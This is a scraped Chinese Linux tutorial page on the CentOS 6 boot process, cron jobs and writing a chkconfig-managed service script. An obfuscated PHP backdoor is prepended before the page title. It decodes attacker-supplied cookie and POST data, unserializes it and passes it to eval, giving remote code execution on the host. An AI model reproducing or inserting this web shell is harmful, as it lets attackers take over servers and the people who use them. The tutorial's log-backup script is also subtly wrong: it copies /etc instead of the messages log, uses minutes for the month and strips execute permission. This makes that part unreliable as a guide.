$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Centos启动流程及服务脚本(work) | Linux运维部落

Centos启动流程及服务脚本(work)

centos启动流程

简单流程简介:

POST –> Boot Sequence(BIOS) –> Boot Loader (MBR) –> Kernel(ramdisk) –> rootfs –> switchroot –> /sbin/init –>(/etc/inittab, /etc/init/*.conf) –> 设定默认运行级别 –> 系统初始化脚本 –> 关闭或启动对应级别下的服务 –> 启动终端

流程详解:分为五大阶段

第一阶段:硬件引导启动

通过ROM中的BIOS的自检程序一次查找到第一个有引导程序的设备就是本次要用到的设备

第二阶段:GRUB启动引导阶段

对其设备中的MBR中的bootloder(引导加载程序)加载GRUB的Stage 1,由于stage 1 阶段是要加载stage2阶段来识别gurb.conf文件,来对用户提供一个选择内核的菜单,但是现在stage 1 还并不能识别stage 2 的文件系统,因此要通过stage 1.5先加载文件系统驱动,让stage 1能识别stage 2 的文件系统,此时stage 1 才能访问到stage 2 。 

GRUB.conf文件为用户体统一个菜单,让用户选择要启动的内核后装载到RAM的特定空间中,对内核文件进行解压,展开,之后就由Kernel来进行操作

第三阶段:内核引导阶段

内核文件在内存中解压展开完成之后,内核先对自身进行初始化:

1、探测可识别到的所有硬件设备

2、加载硬件驱动程序

此时可能内核中并不能识别到根文件系统的驱动,就要由ramdisk来当桥梁,通过加载ramdisk来加载根之后,真正的根也就被加载上了。

ramdisk:在操作系统安装的时候生成的,他会扫描当前系统中磁盘分区的系统,在记录在此虚拟根文件中,由于ramdisk文件在/boot下,因此可直接加载ramdisk,从而加载了根的文件系统

3、识别到根文件系统之后以只读的方式挂载根文件系统

4、根挂载之后内核就可以运行第一个应用程序(/sbin/init),再由它来接手开机的流程.

第四阶段:init程序

1、init程序接手后运行第一个脚本,/etc/inittab,  此文件定义当前系统级别。

            # Default runlevel. The runlevels used are:            
            #   0 - halt (Do NOT set initdefault to this)     //关机,
            #   1 - Single user mode//单用户模式,维护用,只能root用户,无需认证
            #   2 - Multiuser, without NFS (The same as 3, if you do not have networking)//会启动网络功能
            #   3 - Full multiuser mode//字符界面模式,
            #   4 - unused//保留,可以同模式3一样理解
            #   5 - X11 //图形界面
            #   6 - reboot (Do NOT set initdefault to this)//重启
            id:3:initdefault:
            id:任务标识
            3:任务运行级别
            initdefault:系统默认运行级别

2、再一次运行/etc/init/*.conf所有脚本文件,

其中,/etc/init/rcS.conf文件用来运行系统初始化脚本文件/etc/rc.d/rc.sysinit

        [root@Centos init]# vim /etc/init/rcS.conf             
            # rcS - runlevel compatibility
            # This task runs the old sysv-rc startup scripts.   // /etc/init/rcS.conf文件内任务描述就能知道
            /etc/rc.d/rc.sysinit脚本文件中定义了一下系统功能:            
            (1)设定主机名
            (2)设定欢迎信息
            (3)激活udev和selinux
            (4)挂载/etc/fstab文件中定义的所有挂载项
            (5)检测根文件系统,并以读写方式重新挂载根文件系统
            (6)设定系统时钟
            (7)根据/etc/sysctl.conf文件来设置内核参数
            (8)激活lvm及软raid设备
            (9)激活swap设备
            (10)加载额外设备的驱动程序
            (11)清理操作

再由/etc/init/rc.conf文件决定当前系统运行级别,在根据运行级别来运行相对应级别的脚本来管理需要关闭或启动的服务

/etc/init/rc.conf文件中定义当前系统运行级别来运行对应级别服务脚本文件

            [root@Centos rules.d]# cat /etc/init/rc.conf             
            # rc - System V runlevel compatibility
            # This task runs the old sysv-rc runlevel scripts.  It
            # is usually started by the telinit compatibility wrapper
            # Do not edit this file directly. If you want to change the behaviour,
            # please create a file rc.override and put your changes there.
            start on runlevel [0123456]
            stop on runlevel [!$RUNLEVEL]
            task
            export RUNLEVEL
            console output
            exec /etc/rc.d/rc $RUNLEVEL    //此代码运行相对应运行级别的服务脚本文件

此代码运行的服务脚本于/etc/rc.d/rcN.d文件:

    [root@Centos init]# cd /etc/rc.d/
    init.d/     rc0.d/      rc2.d/      rc4.d/      rc6.d/      rc.sysinit  
    rc          rc1.d/      rc3.d/      rc5.d/      rc.local

第五阶段:用户登录

Crond计划任务

1、每周2, 4, 7备份/var/log/messages文件至/logs目录中,文件名形如“messages-yyyymmdd”

[root@Centos6 bin]# vim message.sh 
#!/bin/bash
[ -e /logs ] && cp -a /etc /logs/messages-`date +%Y%M%d` || mkdir /logs && cp -a /etc /logs/messages-`date +%Y%M%d`
[root@Centos6 bin]# chmod -x message.sh
[root@Centos6 bin]# crontab -e
1 0 * * 2,4,7 /root/bin/message.sh

2、每两小时取出当前系统/proc/meminfo文件中以S或M开头的信息追加至/tmp/meminfo.txt文件中

[root@Centos6 bin]# crontab -e
0 */2 * * * egrep -o "^(S|M).*" /proc/meminfo >> /tmp/meminfo.txt

二、添加模拟服务脚本文件

1、定义服务脚本文件,

#!/bin/bash
#
#chkconfig: 35 30 50        //此注释必须写在服务脚本文件中
#description:testsrv script//描述信息(centos5必须有,centos6可写)
#
file=`basename $0`
files=/var/lock/subsys/$file
start() {
if [ -f $files ];then
echo "$file is running"
else    
touch $files
echo "$file is running successful"
fi
}
stop() {
if [ -f $files ];then
rm -f $files
echo "$file stoped successful"
else    
echo "$file don't starting"
fi
}
restart() {
if [ -f $files ];then
rm -f $files
sleep 1
echo "stop $file successful"
touch $files
sleep 1
echo "restart $file successful"
else
touch $files
echo "start $files successful"
fi
}
status() {
if [ -f $files ];then
echo  "$file is running"
else
echo "$file is stopped!"
fi
}
case $1 in
start)
start ;;
stop)
stop ;;
restart)
restart ;;
status)
status ;;
exit)
break ;;
*)
echo -e "\033[5;31mInput error!\033[0m"
echo "Please Usage `basename $0` {start|stop|restart|status}" ;;
esac

        2、移动测试服务到chkconfig管理程序脚本目录中

[root@Centos bin]# mv testsrv /etc/rc.d/init.d/
[root@Centos bin]# ls /etc/rc.d/init.d/
auditd            halt       killall       netconsole  postfix      rsyslog    sshd       xinetd
blk-availability  ip6tables  lvm2-lvmetad  netfs       rdisc        sandbox    svnserve
crond             iptables   lvm2-monitor  network     rdma         saslauthd  testsrv
functions         kdump      mdmonitor     nfs-rdma    restorecond  single     udev-post

        3、使用chkconfig -add 命令将测试服务添加到开机启动队列中

[root@Centos init.d]# chkconfig --add testsrv 
[root@Centos init.d]# chkconfig testsrv on
[root@Centos init.d]# chkconfig --list
testsrv        0:off1:off2:off3:on4:off5:on6:off
//观察到只有我们在脚本文件中添加到的启动模式才设定为on

        4、可使用chkconifg–add、–del、–list,service  SERVICE  [start|stop|restart|status]进行对此服务管

原创文章,作者:Lii,如若转载,请注明出处:http://www.178linux.com/45749

(1)
上一篇 2016-09-13 22:20
下一篇 2016-09-14 11:02

相关推荐

  • 文本处理工具sed及文本编辑器vim课程作业

    文本处理工具sed课程作业     1、删除/etc/grub2.conf文件中所有以空白开头的行行首的空白字符         sed -n 's@^[[:space:]]\+@@p' /etc/grub2.cfg &…

    学员作品 2016-08-10
  • Linux进程查看和管理及作业控制

    在linux系统中,内核的功用有:进程管理、文件系统、网络功能、内存管理、驱动程序、安全功能等,在这众多的模块中,进程管理是相对重要的一环,即使不像文件系统和网络功能那么复杂。在进程管理中,内核对进程的创建、切换、撤销和调度都有很详细的定义。  1、进程类型     守护进程:在系统引导过程中启动的进程,跟终端无关的进…

    学员作品 2016-11-14
  • 马哥教育网络第20期-第一周作业

    第一周博客作业1、 描述计算机的组成及其功能。 运算器、控制器、存储器、输入设备、输出设备运算器、控制器 :cpu 运算和逻辑计算存储器:缓存和保存数据输入设备、输出设备:用户和计算机交互设备和界面 2、 按系列罗列Linux的发行版,并描述不同发行版之间的联系与区别。 Slackware系列: suse   opensuse debian系列: …

    学员作品 2016-06-23
  • 马哥教育网络班20期+第11周博客作业

    1、详细描述一次加密通讯的过程,结合图示最佳。 例如:     bob给alice发送一份数据:只能alice看到,不能被篡改。     bob:     首先用单向加密提取数据的特征码,然后用自己的私钥加密这个特征码并放在原有数据的后面;…

    学员作品 2016-09-15
  • linux中用ACL实现灵活的权限管理

    ACL是什么?? ACL英文原意是Access Control List(访问控制列表).它能够实现灵活的权限管理,除了文件的所有者,所属组和其他人,设置相应的权限外,ACL允许你给任何用户或是用户组设置任何文件/目录的访问权限(注意的是有些不支持数字模式的权限给定) ACL有什么用?? 作为UGO权限管理的补充,acl有GUO办不到或者是难以办到的功能 &…

    Linux干货 2016-08-05
  • 这个寒冬,如何赶走职场之“霾”

    在父母眼中,我的工作应该是这样的。。。 在朋友眼中,我的工作应该是这样的。。。 在女朋友眼中,我的工作应该是这样的。。。 其实我是这样的。。。 每当夜深人静的时候,我总会站在阳台上,独自一个人陷入沉思,究竟是谁走漏了风声,搞的大家都知道我穷(搬砖的)。。。。 面对每个月干瘪瘪的钱包和房东突然间给的惊喜房租要涨,有种想跳槽的冲动,但是互联网寒冬被大家传的神乎其…

    2015-12-10